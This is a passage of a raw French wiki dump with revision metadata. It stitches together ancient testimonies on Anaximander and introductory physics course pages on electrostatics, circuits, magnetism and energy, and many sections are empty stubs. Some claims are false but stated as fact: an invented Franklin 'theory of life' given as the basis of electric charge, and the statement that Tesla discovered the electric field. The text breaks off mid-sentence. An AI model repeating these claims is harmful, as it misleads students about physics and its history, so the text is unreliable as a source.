Milet/Anaximandre dans la littérature|Littérature]]|[[Anaximandre de Milet/Classement thématique|Classement thématique]]}} == Ammien-Marcellin == === Histoire de Rome, XVII, VII, 12 === :(12) De son côté, Anaximandre prétend que ce sont les vents qui s'engouffrent dans ces grandes gerçures ou crevasses qui entrouvrent le sol à la suite d'un été trop ardent ou de pluies continues, et qui le remuent ensuite jusque dans ses fondements; ce qui expliquerait la coïncidence ordinaire de ces terribles phénomènes avec une période de sécheresse ou d'humidité excessive. Et c'est pourquoi les poètes et les théologiens d'autrefois ont donné à Neptune, divinité modératrice de l'élément humide, les noms d'Ennosigaeos et de Sisichthon. == Suidas == :Ἀναξίμανδρος, Πραξιάδου, Μιλήσιος, φιλόσοφος, συγγενὴς καὶ μαθητὴς καὶ διάδοχος Θάλητος. πρῶτος δὲ ἰσημερίαν εὗρε καὶ τροπὰς καὶ ὡρολογεῖα καὶ τὴν γῆν ἐν μεσαιτάτῳ κεῖσθαι. γνώμονά τε εἰσήγαγε καὶ ὅλως γεωμετρίας ὑποτύπωσιν ἔδειξεν. ἔγραψε Περὶ φύσεως, Γῆς περίοδον, καὶ Περὶ τῶν ἀπλανῶν καὶ Σφαῖραν καὶ ἄλλα τινά. Électrostatique 5309 34975 2006-02-27T10:22:04Z Vison 368 /* Loi de Coulomb */ ====Introduction==== L'électrostatique est la partie de l'électricité qui traite des phénomènes où des charges immobiles agissent. Lorsque les charges sont en mouvement, on parle soit d'électrocinétique (voir \ref{électrocinétique}) ou d'électromagnétisme (voir \ref{magnétisme}). [[Catégorie:Physique]] ====Loi de Coulomb==== =====Charge électrique===== Le modèle explicatif que la science a retenu pour expliquer les interactions électriques est celui de Benjamin Franklin. Celui-ci avait une théorie de la vie très particulière. Il disait que la vie est toujours faite d'évènements positifs et négatifs. Il avait remarqué que les événements positifs, comme les évènements négatifs d'ailleurs, ne se suivent généralement pas. C'est comme s'ils se repoussaient. Alors qu'après tout évènement négatif (respectivement positif) vient inévitablement un évènement positif (respectivement négatif). Par ailleurs, mais peut-être vous y attendiez-vous, la somme des évènements positifs et négatifs sur une vie entière est globalement neutre. Poursuivant cette théorie, Franklin distingue au sein de la matière des particules positives et négatives. Les particules de même nature (positives ou négatives) se repoussent entre elles. Par contre, les particules de nature différentes s'attirent. Ainsi, une particule positive attire une particule négative. Alors que, par exemple, deux particules négatives se repoussent. Par ailleurs, une matière dans laquelle se trouve autant de particules négatives que de positives est dite neutre. Cette théorie est à la base de la compréhension actuelle des interactions électriques. =====Pendule électrique===== ======Description de l'expérience====== On frotte une tige en plastique (du PVC) avec une peau de chat\index{peau de chat}. Puis, on approche cette tige d'une petite boule en aluminium suspendue à un fil de polyester. Dans un premier temps, la petite boule est attirée par la tige. Puis un bref instant, elle se colle à elle. Enfin, elle est violemment repoussée. Un autre comportement possible est, en premier lieu, une attraction. Puis, comme précédemment, la boule touche la tige, mais ensuite, elle y reste collée. ======Explications====== L'attraction s'explique par une polarisation de la boule (préalablement neutre). Les charges positives et négatives, présentes en même quantité dans la boule neutre, se séparent. Si, par exemple, la tige est chargée négativement, les charges positives de la boule sont attirées et se rapprochent de la tige alors que les négatives s'en éloignent. On dit alors que la boule est polarisée (elle contient deux pôles : positifs et négatifs). Or, même si les deux groupes de charges contiennent le même nombre de particules (donc la même charge, puisque la boule est globalement toujours neutre), ceux-ci ne sont pas attirés de la même manière par la tige. En effet, l'expérience montrant une attraction, on ne peut que l'expliquer par la présence d'une force d'attraction (entre les charges négatives de la tige et les positives de la boule) plus forte que celle de répulsion (entre les charges négatives de la tige et les négatives de la boule). Comme les deux groupes de charges contiennent le même nombre de charges, donc la même charge (au signe près), on ne peut attribuer la différence d'intensité de la force qu'à la distance entre les charges. En effet, les charges positives de la boule sont plus près des négatives de la tige que ne le sont les charges négatives. On doit aussi supposer que le signe des charges n'intervient pas dans l'intensité de la force électrique. Celui-ci ne sera responsable que du caractère attractif ou répulsif de celle-ci. Ainsi, en approchant la tige de la boule, la polarisation induit une différence de distance entre les types de charges, ce qui produit une attraction plus forte que la répulsion. Cette attraction se produit tant qu'on approche la tige (si on retire la tige, la polarisation des charges diminue en même temps que la force d'attraction, pour s'annuler quand la polarisation cesse et que les charges se retrouvent totalement mélangées). La boule attirée par la tige peut venir la toucher. Alors deux phénomènes peuvent se produire. Si la tige est fortement chargée, il y a dans le bâton beaucoup de charges négatives sur le lieu du contact. Plus précisément, il y en a assez pour annuler les charges positives de la boule. La polarisation disparaît puisqu'il n'y a alors plus en présence que des charges négatives (dans la boule et dans le bâton). Une violente répulsion s'en suit. Si la tige est faiblement chargée, il y a dans le bâton peu de charges négatives sur le lieu du contact. Il peut ne pas y en avoir assez pour annuler les charges positives de la boule. Ainsi, il peut rester un nombre non négligeable de charges positives dans la boule, encore attirées par les négatives des la tige. La différence de distance impliquant toujours une force d'attraction plus importante que celle de répulsion, la boule reste collée au bâton. =====Isolants===== Le second comportement de l'expérience du pendule précédemment décrite (voir \ref{pendule}) est intéressant à un autre titre. En effet, il n'est possible que parce que les charges du bâton ne peuvent se déplacer sur celui-ci. Sinon, des charges négatives éloignées du point de contact avec la boule viendraient annuler les charges positives et, dans tout les cas, une violente répulsion se produirait. Cela marque le fait que le bâton en plastique ne permet pas aux charges de se déplacer. On le dit isolant. Un isolant est donc une matière qui ne permet pas aux charges de se déplacer. Par opposition, un conducteur permet aux charges de se déplacer librement. Les conducteurs parfaits, qui permettent aux charges de se déplacer sans aucune contraintes, sont appelés supra-conducteurs. Pour les conducteurs qui ne sont pas parfaits, on peut définir une grandeur qui représente la résistance de la matière au passage des charges (voir \ref{résistance}). =====L'électroscope===== ======Description de l'expérience====== Un électroscope est un appareil entièrement métallique supportant une aiguille pivotant sur un axe et surmonté d'un plateau circulaire. Le tout est isolé du sol par un morceau de plastique (voir figure 2.1). Lorsqu'on approche du plateau un bâton chargé, l'aiguille monte. Si on éloigne le bâton, elle redescend. Si on touche le plateau avec le bâton, l'aiguille reste écartée du support. Si on touche plusieurs fois le plateau avec un bâton chargé, l'aiguille monte progressivement de plus en plus haut. Si, après avoir touché l'électroscope avec un bâton chargé en plastique et que l'aiguille soit montée, on le touche à nouveau avec un bâton chargé, mais en verre cette fois-ci, l'aiguille redescend. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:ElectroscopeSimple.png|150px|center|frame|Figure 2.1 - L'électroscope]] |- align=center |} ======Explications====== En approchant un bâton chargé négativement, on polarise l'électroscope (au préalable neutre). Le plateau se charge positivement (par influence attractive) et la tige de soutient ainsi que l'aiguille qui lui est attachée se chargent négativement et ainsi se repoussent faisant monter l'aiguille. Lorsqu'on retire le bâton, l'électroscope se dépolarise et l'aiguille redescend. Si on touche le plateau avec le bâton, on permet aux charges de celui-ci de passer sur l'électroscope et ainsi de le charger uniformément. Le plateau, le montant et l'aiguille ont donc la même charge acquise par contact. Cette charge reste sur l'électroscope et peut augmenter si on amène des charges avec un autre bâton chargé. Si, par contre, on amène des charges de signe opposé, en touchant avec un bâton chargé positivement en verre par exemple, on "annule" les charges négatives déposées précédemment et l'aiguille redescend. =====La machine de Van der Graaf===== ======Description de l'expérience====== A l'aide d'un ruban soumis à un frottement, on amène des charges sur une boite métallique isolée du sol par deux supports en plastique (voir figure 2.2). Le fait que le ruban soit entraîné par un moteur et que le frottement soit continu, permet d'amener beaucoup de charges sur la boite. On peut mettre en contact de la boite une personne par ailleurs isolée du sol. Les cheveux de celle-ci s'écartent alors les uns des autre à la manière des picots d'un oursin. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:MachineVanDerGraff.png|150px|center|frame|Figure 2.2 - La machine de Van der Graff]] |- align=center |} ======Explications====== Un générateur haute tension (voir plus loin) amène des charges positives sur un peigne placé à proximité d'un ruban isolant en rotation autour de deux axes. Ce peigne transfert des charges positives au ruban. Ces charges sont alors amenées, par la rotation du ruban, à l'intérieur d'une cage métallique où, par influence elles attirent les charges négatives de celle-ci vers l'intérieur et repoussent les positives à l'extérieur. On obtient donc une cage métallique chargée positivement à sa surface. En effet, la partie intérieure est déchargée par un autre peigne qui part de celle-ci et va récolter les charges positives à proximité du ruban. Ainsi déchargé, le ruban retourne alors vers le premier peigne et le cycle recommence. La charge de la cage augmente donc progressivement jusqu'au moment où elle perds autant de charges dans l'air qu'elle n'en "reçoit" du ruban. On peut alors faire toucher la cage par une personne isolée du sol. Les charges se répartissent ainsi dans tout le corps de la personne. Elles sont de même signe et donc se repoussent. Ainsi chargés de manière identique, les cheveux se repoussent les uns les autres et la répartition qui permet à chaque charge d'être la plus éloignée possible des autres est celle qui est semblable à la position des picots d'un oursin (voir figure 2.3). {| align=right style="margin: 1em 1em 1em 1em" |[[Image:CheveuxDresses.png|150px|center|frame|Figure 2.3 - Les cheveux dressés sur la tête.]] |- align=center |} =====La machine de Wimshurst===== C'est l'une des machines les plus connues (voir figure \ref{wimshurst}). Son fonctionnement est complexe. On ne peut l'aborder dans toute son étendue ici. Disons en substance qu'un frottement, puis une séparation des charges sur deux disques tournant en sens inverse, permet d'envoyer des charges positives et négatives dans deux bouteilles de Leyde (c'est-à-dire des condensateurs, des accumulateurs de charges) différentes. Puis ces charges sont amenées à l'extrémité de deux tiges métalliques que l'on rapproche progressivement. Il se produit alors des décharges se manifestant par de petits éclairs. On peut montrer qu'un transfert de matière a lieu en plaçant une feuille de papier sur le chemin de la décharge. La feuille est alors percée de petits trous traduisant le passage des électrons. [[Image:MachineWimshurst.png|center|frame|Figure 2.4 - La machine de Wimshurst]] =====La foudre===== Manifestement le phénomène est d'origine électrostatique. Il existe aujourd'hui beaucoup de théories tentant d'expliquer la séparation des charges dans un nuage d'orage. Aucune, cependant, ne suffit à expliquer entièrement le phénomène. Cependant, toutes ces théories se basent sur la séparation des charges en raison des courants dans le nuage. Les porteurs de charges positives seraient assez léger pour s'élever jusqu'au sommet du nuage et ceux qui portent les charges négatives assez lourd pour s'accumuler dans la base du nuage. Ainsi, par influence le sol se charge positivement et une tension électrique apparaît entre celui-ci et la base du nuage. Des décharges, les éclairs, peuvent alors se produire. Figure : les trajets de la foudre Figure : le précurseur La foudre ne fait pas que descendre du nuage, mais monte aussi du sol. De toute aspérité peut en effet monter un précurseur qui peut relier le sol au nuage. Les objets pointus sont des endroits privilégiés pour ces précurseurs, car à proximité des pointes le champ électrique est fort. C'est pourquoi les paratonnerres sont pointus. =====Conservation de la charge et charge élémentaire===== Dans tous les phénomènes décrits ci-dessus, jamais aucune charge ne disparaît. Elles ne font que se déplacer sur différents corps. De manière plus fondamentale, on peut montrer que la charge totale d'un système fermé est conservée. Ainsi dans un processus aussi compliqué qu'une désintégration radioactive où un neutron se transforme en un proton, on a : <math>n \rightarrow p+e^{-}+\overline{\nu}</math> <math>(0) = (+e)+(-e)+(0)</math> Un neutron, de charge nulle, se décompose en un proton, de charge +e, un électron, de charge -e et un anti-neutrino de charge nulle. Au total, la charge du neutron (nulle) est égale à la charge totale des particules issues de la désintégration. La charge est une propriété de la matière, au même titre que sa masse. Ainsi, parler d'une charge pour parler d'une particule chargée, c'est faire le même raccourci qu'en parlant d'une masse pour parler d'un objet ayant une masse. Toute matière est donc affectée de cette propriété, d'une charge. Ainsi, dire qu'un objet n'est pas chargé c'est dire en réalité que sa charge est nulle. De nos jours, on sait que le neutron n'a pas de charge et que l'électron et le proton ont la même charge. Celle-ci a longtemps été considérée comme la plus petite charge existante, la charge élémentaire, notée e. Par rapport à la définition de l'unité de charge du système international : le coulomb, noté C, on a que : <math>e=q_{proton}=-q_{\acute electron}=1,6022\cdot 10^{-19}C</math> De nos jours, on sait que les quarks, éléments composants les protons et les neutrons, ont une charge inférieure à la charge élémentaire. Cependant, comme jusqu'à présent on a jamais pu isoler un quark, on peut dire que la charge élémentaire est la plus petite charge d'une particule isolée. Mais cet état de fait peut changer à l'avenir. =====Loi de Coulomb===== La loi de Coulomb est une loi de force. Elle établit une relation de force entre deux charges par l'intermédiaire de la distance. Nous avons vu précédemment que l'attraction d'un pendule conducteur neutre par une tige isolante chargée s'explique par le fait qu'à l'intérieur du pendule se crée une polarisation des charges impliquant que chaque type de charge se trouve à une distance différente de la tige. La constatation de l'attraction du pendule oblige alors à supposer une force fonction de la distance. Plus même, cette force doit être inversement proportionnelle à une fonction de la distance pour qu'il y ait attraction. Figure : balance de Coulomb Coulomb a étudié cette force dans le détail. Pour cela, il a mis au point une balance (voir figure ci-dessus) permettant de mesurer la force exercée par une charge sur une autre au moyen d'un petit pendule de torsion, une tige horizontale isolante munie à chacune de ses extrémités d'une petite boule métallique chargée et attachée en son milieu par un fin fil de suspension vertical. A l'approche d'une charge extérieure chargée, ce pendule tournait d'un angle déterminé en ramenant le pendule dans sa position originale par torsion du fil vertical. Connaissan la force nécessaire pour tordre ce fil d'un tel angle, il déduisit l'expression de la force électrique en fonction des charges en présence et de la distance qui les séparait. L'expression de la force qu'il découvrit alors est la suivante : ====Champ électrique==== Électrocinétique 5310 40950 2006-04-26T06:00:50Z PNLL 1419 /* Dipôles Linéaires */ =Introduction= ==Notations utilisées== Sauf précisions, on utilisera les notations conventionnelles suivantes : *'''Minuscules''' : ''u'', ''i'', ''p'', … ou <math> u \,</math>, <math> i \,</math>, <math> p \,</math>, ... : grandeurs fonctions du temps, en remplacement de ''u''(''t''), ''i''(''t''), ''p''(''t''), … *'''MAJUSCULES''' : ''U'', ''I'', ''U''<sub>moy</sub>, … ou <math> U \,</math>, <math> I \,</math>, <math> U_{moy} \,</math>, ...: grandeurs indépendantes du temps. *'''Caractères soulignés''' : <u>''U''</u>, <u>''I''</u>, <u>''Z''</u>, … ou <math>\underline U \,</math>, <math>\underline I \,</math>, <math>\underline Z \,</math>, ... grandeurs complexes associées à des grandeurs sinusoïdales. *'''Caractères fléchés''' : <math>\vec E \,</math>, <math>\vec B \,</math>, ... grandeurs vectorielles. =Définitions = ==Courant.== ===Définition.=== Un courant électrique est une circulation de porteurs de charges électriques. L'intensité du courant électrique est la grandeur qui quantifie le débit de charge en un point du circuit. <math>i = \frac {dq}{dt} \,</math> (I-1) L'orientation du circuit en ce point fait que l'intensité est une grandeur algébrique (avec un signe). C'est une variable de flux. ===Loi des intensités (loi des nœuds).=== La somme de toutes les intensités des courants entrant dans une portion de circuit est nulle. ===A.R.Q.S. === La loi qui précède ne peut être considérée comme exacte que dans le cadre de l'approximation des régimes quasi stationnaires (ARQS) : c'est à dire dans les cas où le produit de la dimension du circuit par la fréquence des intensités considérées est très inférieur à la célérité (vitesse) de la lumière. '''Exemples''' *Pour des fréquences de l'ordre de 1 MHz la dimension du circuit doit être très inférieure à 300 m soit quelques mètres. *Pour la fréquence de 50 Hz la dimension du circuit doit être très inférieure à 6000 km. Pour l'étude des lignes on se limite à une centaine de kilomètres. ==Tension ou d.d.p.== ===Définition.=== C'est une variable d'effort. Pour obtenir une circulation de courant dans un circuit, il faut qu'au moins deux points de ce circuit soient à un instant donné à des potentiels différents. C'est une grandeur algébrique. Conventionnellement, on représente la tension <math>u_{AB} = v_A - v_B \,</math> entre les points A et B du circuit par une flèche dirigée vers le point A (la première des deux lettres A et B). ===Loi des tensions (loi des mailles).=== La somme des tensions effectuée en parcourant une maille est nulle. ==Dipôles== ===Définition.=== C'est un élément d'un circuit électrique comportant deux bornes. Il impose une relation entre la tension <math> u \,</math> à ses bornes et l'intensité du courant <math> i \,</math> qui le traverse. La fonction <math> f \,</math> liant <math> u \,</math> à <math> i \,</math> : <math> u = f(i) \,</math> imposée par le dipôle est appelée '''caractéristique du dipôle'''. Par extension ce terme désigne aussi la représentation graphique de cette fonction. ==Conventions de fléchage.== *Convention récepteur : Le courant et la tension sont fléchés en sens inverse. Cela permet d'obtenir deux grandeurs positives pour des dipôles s'opposant à la circulation du courant. :[[Image:Dipôle-convention_récepteur.png ]] *Convention générateur : Le courant et la tension sont fléchés dans le même sens. Cela permet d'obtenir deux grandeurs positives pour des dipôles favorisant la circulation du courant. :[[Image:Dipôle-convention_générateur.png ]] Remarque : ces deux conventions existent du fait de la répugnance des anciens électriciens à utiliser les nombres négatifs. ==Puissance électrique.== La puissance instantanée mise en jeu par un dipôle est : :<math>p = u \cdot i \,</math> (I-2) Cette puissance correspond *à la '''puissance consommée''' lorsque <math> u \,</math> et <math> i \,</math> sont fléchés selon la convention '''récepteur''' *à la '''puissance fournie''' lorsqu'ils sont fléchés avec la convention '''générateur'''. ==Vocabulaire.== *'''Conducteur''' : partie du circuit *'''Nœuds''' : connexion de plusieurs conducteurs Les définitions suivantes sont extraites du décret du 14 novembre 1988 (88-1056), section I article 2, *'''Circuit''' : ensemble de conducteurs et de matériels alimentés à partir de la même origine et protégés contre les surintensités par le ou les mêmes dispositifs de protection. *'''Masse''' : partie conductrice d'un matériel électrique susceptible d'être touchée par une personne, qui pas normalement sous tension mais peut le devenir en cas de défaut d'isolement des parties actives de ce matériel. *'''Point froid ou potentiel de référence''' : potentiel par rapport auquel on va mesurer les diverses tensions du circuit. *'''Terre''' : masse conductrice de la terre, dont le potentiel électrique en chaque point est ''considéré'' comme égal à zéro. Remarque : fréquemment les générateurs basse-fréquence qui alimentent les montages ont leur point froid relié à la masse elle-même reliée à la terre, d’où les confusions faites sur ces différents termes. =Dipôles Linéaires= Ce sont des dipôles pour lesquels la fonction <math> f \,</math>, telle que <math> u = f(i) \,</math>, est une fonction différentielle à coefficients constants. Exemples : *<math> u = A \,</math> *<math> u = A \cdot i \,</math> *<math> u = A \cdot i + B \frac{di}{dt}\,</math> ==Résistances ou ''conducteur ohmiques''== Le problème du nommage est historique : le terme ''résistance'' est utilisé pour désigner indifféremment : * Un dipôle utilisé pour produire de la chaleur. On utilise parfois le terme de ''résistance chauffante'' * Un conducteur respectant idéalement la loi d'Ohm (voir ci après). * La valeur du rapport de la tension par le courant pour les dipôle ci-dessus. Dans ce cours, le mot '''résistance''' désignera un conducteur respectant parfaitement la '''loi d'Ohm''' ===Équation caractéristique.=== Pour une résistance <math> R \,</math>, on a : :<math> u = R \cdot i \,</math> : loi d'Ohm (I-3) Au cours du temps, tension et courant sont homothétiques (de même forme). ===Puissance consommée=== :<math> p=R\cdot i^2 = \frac{u^2}{R} \,</math> (I-4) On constate que cette puissance est à chaque instant positive : la résistance est un élément dissipatif. ===Précaution d'emploi=== En régime établi, la résistance ne doit pas dissiper une puissance supérieure à <math> P_{max} \,</math> dont la valeur est en général prescrite par le constructeur. On en déduit les valeurs maximales du courant et de la tension à ne pas dépasser à l'aide de la formule (I-4). La puissance dissipée l'est sous forme de chaleur, et c'est souvent l'augmentation de température qui est responsable de la destruction du composant. Pour des durées limitées, il est parfois possible de dépasser <math> P_{max} \,</math> , mais cela dépend de l'inertie thermique de la résistance. En l'absence d'indication du constructeur, il est hasardeux de tenter sa chance ! ===Lois d'association=== *En série : <math> R_{eq} = R_1 + R_2 \,</math> (I-5) *En parallèle:<math> R_{eq} = \frac {R_1 \cdot R_2}{R_1 + R_2} \,</math> (I-6) ===La conductance=== La conductance d'une "résistance" est la grandeur <math> G \,</math> telle que : <math> G = \frac{1}{R} \,</math> (I-7) La relation (I-6) peut alors s’écrire : <math> G_{eq} = G_1 + G_2 \,</math> ===Aspect microscopique, résistivité=== ==Condensateurs== ===Équation caractéristique=== Pour un condensateur on a : :<math> q = C \cdot u \,</math>, d'où <math> \frac{dq}{dt} = C \cdot \frac{du}{dt} \,</math> (I-9) :<math> i = C \frac{du}{dt} \,</math> (I-10) L'équation (I-10) implique que la tension aux bornes du condensateur ne peut pas subir de discontinuité, cela correspondrait en effet à un courant d'intensité infinie, donc à une puissance infinie. ===Puissance consommée.=== L'équation (I-10) conduit à : : <math> p= u \cdot i = C \cdot u \cdot \frac{du}{dt} \,</math> En utilisant la relation mathématique suivante : :<math> \frac{du^2}{dt} = u \cdot \frac{du}{dt} +\frac{du}{dt} \cdot u = 2u \cdot \frac{du}{dt} \,</math> (I-11) on obtient la relation : :<math> P =\frac{1}{2} \cdot C \cdot \frac{du^2}{dt} \,</math> (I-12) La puissance instantanée consommée par un condensateur est liée à la variation du carré de la tension à ses bornes : si celui ci augmente, le condensateur consomme de la puissance. Mais si le carré de la tension à ses bornes diminue alors le condensateur fourni de la puissance au reste du circuit. L'énergie échangée entre 2 instants <math>t_i\,</math> et <math>t_f\,</math> vaut : :<math> W =\frac{1}{2} \cdot C \cdot(u^2_{Cf}-u^2_{Ci}) \,</math> (I-13) ===Précaution d'emploi.=== Il ne faut pas dépasser en valeur instantanée la valeur maximale de la tension prescrite par le constructeur. En cas de dépassement, même très bref, on risque de provoquer un claquage entraînant la destruction du composant. D'autre part les condensateurs électrochimiques sont polarisés : une tension inverse à leurs bornes provoque un dégagement gazeux qui peut conduire à une explosion. ===Lois d'association=== *En parallèle : (I-14) *En série: (I-15) ==Inductances== =Méthodes d'études des circuits= =Puissance électrique= =Sécurité électrique= ==Introduction== ==Effets de l'électricité sur l'homme== ===Facteurs importants=== ===Symptômes=== ===Traitements=== ==Mesures de sécurité== ===Réseau électrique=== ===Pour les bâtiments=== ===Pour l'homme=== [[Catégorie:Physique]] Électromagnétisme 5311 38400 2006-03-19T22:13:42Z 62.203.22.80 /* Introduction */ =Introduction= La force magnétique est connue depuis bien longtemps. Pourtant, elle ne fut "découverte" mathématiquement que bien après la gravitation et l'électricité. A cela deux raisons. Premièrement, l'influence des lois de la gravitation universelle et de la loi de Coulomb s'est longtemps fait sentir en cela que les physiciens travaillant sur le magnétisme ont longtemps chercher à exprimer la force magnétique avec une loi formellement identique aux deux autres lois. Or, la force magnétique est fondamentalement différente puisqu'elle ne s'exerce pas dans la direction qui lie les charges aux corps qui produisent le magnétisme. Secondement, il fallait savoir produire des courants électriques pour pouvoir se rendre compte des relations entre courant électrique et magnétisme. C'est pourquoi, de nos jours encore, on doit enseigner le magnétisme après l'électricité. =Champ magnétique= Ici on ne parle plus d'emblée de force. Pourtant c'est bien elle qui nous intéresse si on désire prédire le comportement d'un objet quelconque. Mais, les connaissances acquises en électricité ne doivent pas être oubliées. En effet, la force magnétique est évidemment une force qui s'exerce instantanément et à distance entre deux aimants par exemple. Or, en électricité, nous avons décrit les objections soulevées par les physiciens à l'encontre d'une action instantanée à distance. Ces objections nous ont mené à revoir la force électrique comme l'action d'une grandeur très particulière nommée "champ électrique". En effet, l'existence du champ électrique règle définitivement les problèmes posés par une action instantanée à distance. Fort de ces connaissances, nous allons aborder le magnétisme en parlant directement de champ magnétique. C'est cet "objet" qui sera responsable de l'action magnétique entre les aimants, par exemple. Et cette action sera d'emblée localisée et non-instantanée. L'objectif sera donc de décrire les principales propriétés du champ magnétique. Puis nous reviendrons à la force à partir de celui qui la crée (le champ) et verrons deux relations particulières qui nous permettent de la trouver sans trop de difficultés. ==Définitions== Elle se base sur la boussole. Conventionnellement, on peut nommer la partie de la boussole qui montre le nord "pôle nord" et celui qui montre le sud "pôle sud". Cette définition est purement conventionnelle et paraît à première vue logique. A partir de cette définition, on peut nommer les deux parties d'un aimant en forme de tige en le posant sur une pointe pour lui permettre de tourner et en notant l'orientation de celui-ci dans le champ magnétique terrestre. Le côté qui pointera vers le nord sera nommé "pôle nord" de l'aimant et celui qui pointe vers le sud "pôle sud". On constatera alors par expérience que le pôle nord de l'aimant repousse celui de la boussole. Par contre il attire son pôle sud. Et il en va de même avec deux aimants. Ainsi on peut dire que deux pôles identiques se repoussent et deux pôles différents s'attirent. Par ailleurs, on a vu en électricité que le champ électrique était un vecteur (nous ne reviendrons par sur le pourquoi de ce fait). On va postuler de même pour le champ magnétique. Ainsi, on est amené à définir le champ magnétique par un vecteur dont la direction est celle donnée par la boussole, le sens est celui d'une flèche qui pointe vers le nord (c'est un choix arbitraire mais judicieux), et la valeur est donnée en Tesla (T), en hommage au physicien Tesla qui découvrit la notion de champ électrique. ==Champ magnétique terrestre== {| align=right style="margin: 1em 1em 1em 1em" |[[Image:AimantDroit.png|150px|center|frame|Figure 4.1 - Lignes de champ magnétique autour d'un aimant droit]] |- align=center |} On peut étudier le champ magnétique produit par un aimant en plaçant tout autour des dizaines de petites boussoles. Elles forment alors, en s'orientant, des lignes de champ magnétique. La figure \ref{ligneschampmagn} montre les lignes de champ autour d'un aimant droit. On remarque que le champ sort du pôle nord de l'aimant et rentrent dans le pôle sud. En effet, le pôle nord des petites boussoles est attiré par le pôle sud de l'aimant et pointe donc vers lui. Ainsi les lignes de champ vont, par l'extérieur de l'aimant, du pôle nord au pôle sud. La conséquence en est que, si on considère la terre comme une sorte de gros aimant, son pôle nord magnétique est au sud géographique. En effet, le pôle sud de la boussole est attiré par un pôle nord. Or, le pôle sud pointe ... vers le sud. Donc un pôle nord magnétique s'y trouve. En réalité le champ magnétique terrestre est très semblable à celui d'un aimant droit. Mais il est déformé par le vent solaire. Les raisons de l'existence d'un champ magnétique terrestre sont encore mal connues. Mais nous présenterons un modèle d'explication simple au paragraphe \ref{magnmatiere}. En effet, il est nécessaire pour le comprendre de savoir assez précisément ce qui produit le champ magnétique. Notons finalement que la valeur de la composante horizontale du champ magnétique terrestre à la surface de la terre vaut : <math>0,2\cdot10^{-4}\,T</math>. ==L'expérience d'Œrsted== Avant cette expérience, la science du magnétisme n'était que qualitative. Oersted a permis de mathématiser le magnétisme en faisant comprendre précisément l'origine de celui-ci. En réalité, son expérience fut le fruit du hasard. Il remarqua un jour qu'en enclenchant le courant électrique dans un fil à proximité d'une petite boussole il la faisait tourner (voir figure 4.2). {| align=right style="margin: 1em 1em 1em 1em" |[[Image:OerstedBoussole.png|150px|center|frame|Figure 4.2 - Oersted et la boussole]] |- align=center |} Cette constatation était fondamentale puisqu'elle reliait l'électricité au magnétisme. De plus, plus le courant était fort, plus la déviation était importante. Mais elle ne se produisait pas dans certains cas : fil est-ouest, au dessus de l'aiguille et courant vers l'est ou fil est-ouest, au dessous de l'aiguille et courant vers l'ouest. Et bien évidemment elle ne se produisait pas sans courant. D'où l'hypothèse que l'origine du magnétisme se trouve dans la présence de courant électrique. D'où aussi une autre expérience qui consiste à placer un fil parcouru par un courant à l'intérieur de l'enter-fer d'un aimant en U (voir figure \ref{oersted2}). Figure : "Oersted et la déviation du fil" On peut montrer, en étudiant les lignes de champ à l'intérieur de l'entre-fer d'un aimant en U, que le champ magnétique dans cette zone de l'aimant est rectiligne et uniforme (voir figure \ref{aimantU}). Figure : "Aimant en U" Ainsi, si le pôle nord de l'aimant est en bas et le nord en haut, le champ magnétique est vertical vers le haut. Si alors, on fait passer un courant électrique dans le fil de gauche à droite par exemple, alors il s'exerce sur le fil une force qui le déplace à l'extérieur de l'aimant. Si on inverse le sens du courant, le sens de la force s'inverse. De même si on inverse les pôles de l'aimant. Un courant électrique rectiligne est donc producteur d'un champ magnétique qui peut interagir avec le champ magnétique d'un aimant, comme le ferait un autre aimant. On peut donc étudier le champ produit par un fil droit, puis par une boucle de fil et par un solénoïde (ensemble de boucles). Ces lignes sont représentées dans les figures \ref{magnfil} \ref{magnboucle} \ref{magnsolenoide}. Figure : "Champ magnétique produit par un fil droit" Le sens de rotation des lignes de champ est donné par la règle du tire-bouchon avec le pouce (de la main droite) dans le sens du courant du fil. Les autres doigts se refermant donnent alors le sens de rotation des lignes de champ. Figure : "Champ magnétique produit par une boucle de courant" Le sens des lignes de champ est donné par la règle du tire-bouchon avec les doigts (de la main droite) se refermant sur la paume de la main dans le sens de rotation du courant dans la boucle. Le pouce de la main donne alors le sens des lignes de champ à l'intérieur de la boucle. Figure : "Champ magnétique produit par un solénoïde" Le sens des lignes de champ est donné par la même règle que pour une boucle de courant. ==Magnétisme dans la matière== ==Application== =Loi de Laplace= ==Définition== ==Applications== ===Galvanomètre=== ===Moteur électrique=== =Loi de Lorentz= ==Définition== ==Applications== ===Télévision=== ===Accélérateur de particules : le cyclotron=== ===Spectrographe de masse=== [[Catégorie:Physique]] Énergie 5312 40017 2006-04-12T08:57:03Z Npettiaux 37 /* Travail et produit scalaire */ travail moteur et résistant =Introduction= [[Catégorie:Physique]] {| align=right style="margin: 1em 1em 1em 1em" |[[Image:EnergieVitesse.png|150px|center|frame|Figure 4.1 - Energie et vitesse]] |- align=center |} Avec la physique de Newton, tout problème de mécanique peut être résolu. Mais le problème fondamental de cette dynamique est que toutes les grandeurs utilisées sont en constante évolution au cours du temps. L'idée d'une mécanique se situant au niveau de grandeurs conservée au cours du temps est donc apparue. Nous allons voir que cette "nouvelle" mécanique utilise des grandeurs comme la vitesse. Cela situe cette théorie à un niveau différent de la mécanique de Newton puisque celle-ci, à travers la seconde loi, lie la cause du mouvement à l'accélération, alors que la conservation de l'énergie est liée à la vitesse. On peut résume cela dans la figure 4.1. La conséquence mathématique de cette nouvelle situation du problème est que l'intégration nécessaire pour obtenir la vitesse à partir de l'accélération est supprimée. Si la grandeur recherchée est la vitesse (ou la position) le problème est donc considérablement simplifié. =Travail= ==Historiquement== En physique, le travail est une notion bien précise. Elle a pour origine l'expérience simple décrite sur la figure 4.2 : [[Image:BalanceFleau.png|center|frame|Figure 4.2 - La balance à fléau]] L'idée est la suivante : on considère une balance équilibrée par deux masses. La condition d'équilibre veut que : <center><math>m_{gauche}\cdot d_{gauche}=m_{droite}\cdot d_{droite}</math></center> ce qui est le cas sur la figure 4.2. Maintenant, si on descend la masse <math>m_{gauche}</math> de 10 cm, la masse <math>m_{droite}</math> monte de 20 cm. En effet : <center><math>\frac{0,1}{1}=\sin(\alpha_{support})=\frac{0,2}{2}</math></center> Ainsi, on remarque que le produit A du poids de la masse par la hauteur déplacée est le même pour les deux masses : <center><math>A_{gauche}=2\cdot9,81\cdot0,1=1\cdot9,81\cdot0,2=A_{droite}</math></center> La grandeur <math>A=F\cdot d</math> est donc identique. On peut traduire cette remarque en disant que le travail (A pour Arbeit) pour monter une masse de 1 kg sur une hauteur de 20 cm est le même que celui pour monter une masse de 